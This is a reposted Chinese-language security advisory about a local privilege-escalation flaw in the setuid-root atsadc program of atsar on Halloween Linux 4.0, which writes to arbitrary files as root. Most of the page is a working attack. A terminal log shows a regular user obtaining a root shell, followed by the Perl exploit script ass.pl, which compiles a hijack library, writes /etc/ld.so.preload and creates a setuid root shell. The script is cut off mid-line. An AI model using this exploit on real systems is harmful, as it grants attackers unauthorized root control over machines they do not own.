Linux atsadc 输入文件检查漏洞
受影响系统: AT Computing atsar 1.4-linux Halloween Linux 4.0 描述: atsar是一个Linux下的负载监视软件包,由AT Computing出品.这个软件包中有个程序atsadc 被设置了setuid root位.atsadc会接受一个参数作为输入文件名,并将打开这个文件,但是 它没有检查是否该用户有权限读写这个文件.当它以root身份打开或者创建目标文件后,攻击 在者可能写入任意内容到这个文件中.通过创建恶意的系统文件,攻击者可能本地获得root权 限.比如创建一个恶意的共享库,然后在/etc/ld.so.preload中增加这个库的路径,然后执行 一个设置了setuid root的程序(比如/usr/bin/passwd),然后恶意共享库就将被预装载并执行. <* 来源: krahmer TESO advisory -- atsadc (http://teso.scene.at) *> 测试方法: 警 告 以下程序(方法)可能带有攻击性,仅供安全研究与教学之用.使用者风险自负! liane:[bletchley]> id -a uid=501(bletchley) gid=501(bletchley) groups=501(bletchley) liane:[bletchley]> uname -a Linux liane.c-skills.de 2.2.13-13 #21 Thu Mar 2 10:36:13 WET 2000 i686 unknown liane:[bletchley]> stat `which atsadc` File: "/usr/sbin/atsadc" Size: 16000 Filetype: Regular File Mode: (4755/-rwsr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root) Device: 3,1 Inode: 117038 Links: 1 Access: Thu Mar 9 10:09:37 2000(00000.01:02:49) Modify: Tue Nov 9 23:57:50 1999(00120.11:14:36) Change: Tue Mar 7 14:55:23 2000(00001.20:17:03) liane:[bletchley]> cd atsar-hack/ liane:[atsar-hack]> ./ass.pl Creating hijack-lib ... Compiling hijack-lib ... Compile shell ... Invoking vulnerable program (atsadc)... sh: error in loading shared libraries: sh: error in loading shared libraries: Welcome. But as always: BEHAVE! sh-2.03# id -a uid=0(root) gid=0(root) groups=501(bletchley) sh-2.03#
---------------------------- ass.pl ------------------------------------------
#!/usr/bin/perl # Halloween 4 local root-exploit, other distros are maybe # affected as well. (atsadc program) # (C) 2000 C-skills development, S. Krahmer under the GPL # linuxer">http://www.cs.uni-potsdam.de/homepages/students/linuxer # Exploit will create /etc/ld.so.preload, so it should NOT exist # already. THIS FILE WILL BE LOST! # ! USE IT AT YOUR OWN RISK ! # For educational purposes only. print "Creating hijack-lib ...n"; open O, ">/tmp/boom.c" or die "open(boom.c..)"; print O<<_EOF_; #include int time(void *v) { chown("/tmp/boomsh", 0, 0); chmod("/tmp/boomsh", 06755); unlink("/etc/ld.so.preload"); exit(1); } _EOF_ close O; print "Compiling hijack-lib ...n"; $foo = `cc -c -fPIC /tmp/boom.c -o /tmp/boom.o`; $foo = `cc -shared /tmp/boom.o -o /tmp/boom.so`; open O, ">/tmp/boomsh.c" or die "open(boomsh.c ...)"; print O<<_EOF2_; #include int main() { char *a[] = {"/bin/sh", 0}; setuid(0); set |
|
凌众科技专业提供服务器租用、服务器托管、企业邮局、虚拟主机等服务,公司网站:http://www.lingzhong.cn 为了给广大客户了解更多的技术信息,本技术文章收集来源于网络,凌众科技尊重文章作者的版权,如果有涉及你的版权有必要删除你的文章,请和我们联系。以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢! |